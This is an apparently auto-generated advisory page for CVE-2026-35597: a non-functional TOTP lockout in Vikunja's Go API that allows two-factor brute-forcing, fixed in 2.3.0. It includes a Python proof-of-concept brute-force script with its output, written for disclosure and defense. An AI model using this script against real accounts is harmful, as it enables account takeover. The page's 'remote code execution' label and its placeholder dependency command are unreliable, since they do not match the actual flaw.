CVE-2026-35597: Code.vikunja.io/api Remote Code Execution Vulnerability

MODERATE
Advisory Identifier: GHSA-fgfv-pv97-6cmj
CVSS 5.9
CWE-307
Published
Advisory Summary

CVE-2026-35597 is a MODERATE (CVSS 5.9) remote code execution vulnerability (CWE-307: Improper Restriction of Excessive Authentication Attempts) affecting Code.vikunja.io/api libraries in the Go ecosystem. The issue involves vikunja vulnerable to totp brute-force due to non-functional account lockout. Remediation is available by upgrading affected packages to version 2.3.0.

CVE-2026-35597 at a Glance

CVE Identifier CVE-2026-35597
GHSA Identifier GHSA-fgfv-pv97-6cmj
Severity MODERATE
CVSS v3.1 Base Score 5.9
CWE Classification CWE-307: Improper Restriction of Excessive Authentication Attempts
Affected Product Code.vikunja.io/api
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 5.9

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N).

Attack Vector Network (AV:N)
Attack Complexity High (AC:H)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity None (I:N)
Availability None (A:N)

How to Fix CVE-2026-35597

To remediate this vulnerability, upgrade all affected Code.vikunja.io/api dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

code.vikunja.io/api fixed: 2.3.0
Upgrade code.vikunja.io/api to 2.3.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for code.vikunja.io/api

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-35597, inspect your project dependencies for Code.vikunja.io/api:

inspect dependencies for code.vikunja.io/api

Analyze the terminal output to locate any version of Code.vikunja.io/api in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 2.3.0), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-307: Improper Restriction of Excessive Authentication Attempts, where the product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame. In Code.vikunja.io/api, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary The TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes. ## Details When a TOTP validation fails, the login handler at `pkg/routes/api/v1/login.go:95-101` calls `HandleFailedTOTPAuth` and then unconditionally rolls back: ```go if err != nil { if user2.IsErrInvalidTOTPPasscode(err) { user2.HandleFailedTOTPAuth(s, user) } _ = s.Rollback() return err } ``` `HandleFailedTOTPAuth` at `pkg/user/totp.go:201-247` uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls `user.SetStatus(s, StatusAccountLocked)` on the same database session `s`. Because the login handler always rolls back after a TOTP failure, the `StatusAccountLocked` write is undone. The in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time. ## Proof of Concept Tested on Vikunja v2.2.2. Requires `pyotp` (`pip install pyotp`). ```python import requests, time, pyotp TARGET = "http://localhost:3456" API = f"{TARGET}/api/v1" def h(token): return {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} # setup: login, enroll and enable TOTP token = requests.post(f"{API}/login", json={"username": "totp_user", "password": "TotpUser1!"}).json()["token"] secret = requests.post(f"{API}/user/settings/totp/enroll", headers=h(token)).json()["secret"] totp = pyotp.TOTP(secret) requests.post(f"{API}/user/settings/totp/enable", headers=h(token), json={"passcode": totp.now()}) # send 9 failed attempts (rate limit is 10/min) for i in range(1, 10): r = requests.post(f"{API}/login", json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"}) print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}") # wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold) time.sleep(65) for i in range(10, 13): r = requests.post(f"{API}/login", json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": "000000"}) print(f"Attempt {i}: {r.status_code} code={r.json().get('code')}") # wait for rate limit, try with valid TOTP time.sleep(65) r = requests.post(f"{API}/login", json={"username": "totp_user", "password": "TotpUser1!", "totp_passcode": totp.now()}) print(f"Valid TOTP login: {r.status_code}") # 200 - account was never locked ``` Output: ``` Attempt 1: 412 code=1017 ... Attempt 9: 412 code=1017 Attempt 10: 412 code=1017 Attempt 11: 412 code=1017 Attempt 12: 412 code=1017 Valid TOTP login: 200 ``` The account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize. ## Impact An attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space. ## Recommended Fix Have `HandleFailedTOTPAuth` create and commit its own independent database session for the lockout operation: ```go // Use a new session so the lockout persists regardless of caller's rollback lockoutSession := db.NewSession() defer lockoutSession.Close() err = user.SetStatus(lockoutSession, StatusAccountLocked) if err != nil { _ = lockoutSession.Rollback() return } _ = lockoutSession.Commit() ``` --- *Found and reported by [aisafe.io](https://aisafe.io)*

CVE-2026-35597 Affected Code.vikunja.io/api Versions

1 component(s)
Fixed Versions:
2.3.0
Product / Package Ecosystem Affected Versions Fixed Version
code.vikunja.io/api
Go
< 2.3.0
2.3.0

References

Frequently Asked Questions

What is CVE-2026-35597?
CVE-2026-35597 is a security vulnerability in Code.vikunja.io/api involving Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout under CWE-307: Improper Restriction of Excessive Authentication Attempts.
Which Code.vikunja.io/api versions are affected?
Affected versions include releases prior to 2.3.0 across affected packages: code.vikunja.io/api.
What version fixes CVE-2026-35597?
Upgrading to 2.3.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is code.vikunja.io/api affected?
Yes, code.vikunja.io/api is affected in releases prior to 2.3.0. Upgrade your dependency to 2.3.0 or later.
What is the CVSS score of CVE-2026-35597?
CVE-2026-35597 has a CVSS v3.1 base score of 5.9 (MODERATE) with vector string CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N.
What CWE is associated with CVE-2026-35597?
CVE-2026-35597 is classified under CWE-307: Improper Restriction of Excessive Authentication Attempts (The product does not implement sufficient measures to prevent multiple failed authentication attempts within a short time frame.).
How can I check Go dependencies for CVE-2026-35597?
Run the dependency tree command: 'inspect dependencies for code.vikunja.io/api'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fgfv-pv97-6cmj",
  "modified" : "2026-07-21T14:02:38Z",
  "published" : "2026-04-10T15:34:14Z",
  "aliases" : [ "CVE-2026-35597" ],
  "summary" : "Vikunja Vulnerable to TOTP Brute-Force Due to Non-Functional Account Lockout",
  "details" : "## Summary\n\nThe TOTP failed-attempt lockout mechanism is non-functional due to a database transaction handling bug. The account lock is written to the same database session that the login handler always rolls back on TOTP failure, so the lockout is triggered but never persisted. This allows unlimited brute-force attempts against TOTP codes.\n\n## Details\n\nWhen a TOTP validation fails, the login handler at `pkg/routes/api/v1/login.go:95-101` calls `HandleFailedTOTPAuth` and then unconditionally rolls back:\n\n```go\nif err != nil {\n    if user2.IsErrInvalidTOTPPasscode(err) {\n        user2.HandleFailedTOTPAuth(s, user)\n    }\n    _ = s.Rollback()\n    return err\n}\n```\n\n`HandleFailedTOTPAuth` at `pkg/user/totp.go:201-247` uses an in-memory counter (key-value store) to track failed attempts. When the counter reaches 10, it calls `user.SetStatus(s, StatusAccountLocked)` on the same database session `s`. Because the login handler always rolls back after a TOTP failure, the `StatusAccountLocked` write is undone.\n\nThe in-memory counter correctly increments past 10, so the lockout code executes on every subsequent attempt, but the database write is rolled back every time.\n\n## Proof of Concept\n\nTested on Vikunja v2.2.2. Requires `pyotp` (`pip install pyotp`).\n\n```python\nimport requests, time, pyotp\n\nTARGET = \"http://localhost:3456\"\nAPI = f\"{TARGET}/api/v1\"\n\ndef h(token):\n    return {\"Authorization\": f\"Bearer {token}\", \"Content-Type\": \"application/json\"}\n\n# setup: login, enroll and enable TOTP\ntoken = requests.post(f\"{API}/login\",\n    json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\"}).json()[\"token\"]\nsecret = requests.post(f\"{API}/user/settings/totp/enroll\", headers=h(token)).json()[\"secret\"]\ntotp = pyotp.TOTP(secret)\nrequests.post(f\"{API}/user/settings/totp/enable\", headers=h(token),\n              json={\"passcode\": totp.now()})\n\n# send 9 failed attempts (rate limit is 10/min)\nfor i in range(1, 10):\n    r = requests.post(f\"{API}/login\",\n        json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\", \"totp_passcode\": \"000000\"})\n    print(f\"Attempt {i}: {r.status_code} code={r.json().get('code')}\")\n\n# wait for rate limit reset, send 3 more (past the 10-attempt lockout threshold)\ntime.sleep(65)\nfor i in range(10, 13):\n    r = requests.post(f\"{API}/login\",\n        json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\", \"totp_passcode\": \"000000\"})\n    print(f\"Attempt {i}: {r.status_code} code={r.json().get('code')}\")\n\n# wait for rate limit, try with valid TOTP\ntime.sleep(65)\nr = requests.post(f\"{API}/login\",\n    json={\"username\": \"totp_user\", \"password\": \"TotpUser1!\", \"totp_passcode\": totp.now()})\nprint(f\"Valid TOTP login: {r.status_code}\")  # 200 - account was never locked\n```\n\nOutput:\n```\nAttempt 1: 412 code=1017\n...\nAttempt 9: 412 code=1017\nAttempt 10: 412 code=1017\nAttempt 11: 412 code=1017\nAttempt 12: 412 code=1017\nValid TOTP login: 200\n```\n\nThe account was never locked despite exceeding the 10-attempt threshold. The per-IP rate limit of 10 requests/minute requires spacing attempts, but an attacker with multiple source IPs can parallelize.\n\n## Impact\n\nAn attacker who has obtained a user's password (via phishing, credential stuffing, or database breach) can bypass TOTP two-factor authentication by brute-forcing 6-digit codes. The intended account lockout after 10 failed attempts never takes effect. While per-IP rate limiting provides friction, a distributed attacker can exhaust the TOTP code space.\n\n## Recommended Fix\n\nHave `HandleFailedTOTPAuth` create and commit its own independent database session for the lockout operation:\n\n```go\n// Use a new session so the lockout persists regardless of caller's rollback\nlockoutSession := db.NewSession()\ndefer lockoutSession.Close()\nerr = user.SetStatus(lockoutSession, StatusAccountLocked)\nif err != nil {\n    _ = lockoutSession.Rollback()\n    return\n}\n_ = lockoutSession.Commit()\n```\n\n---\n*Found and reported by [aisafe.io](https://aisafe.io)*",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "code.vikunja.io/api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.3.0"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 2.2.2"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-fgfv-pv97-6cmj"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-35597"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/pull/2576"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/commit/6ca0151d02fa0e8c7e2181ab916a28e08caaaec8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/go-vikunja/vikunja"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/go-vikunja/vikunja/releases/tag/v2.3.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-307" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-04-10T15:34:14Z",
    "nvd_published_at" : "2026-04-10T17:17:03Z"
  }
}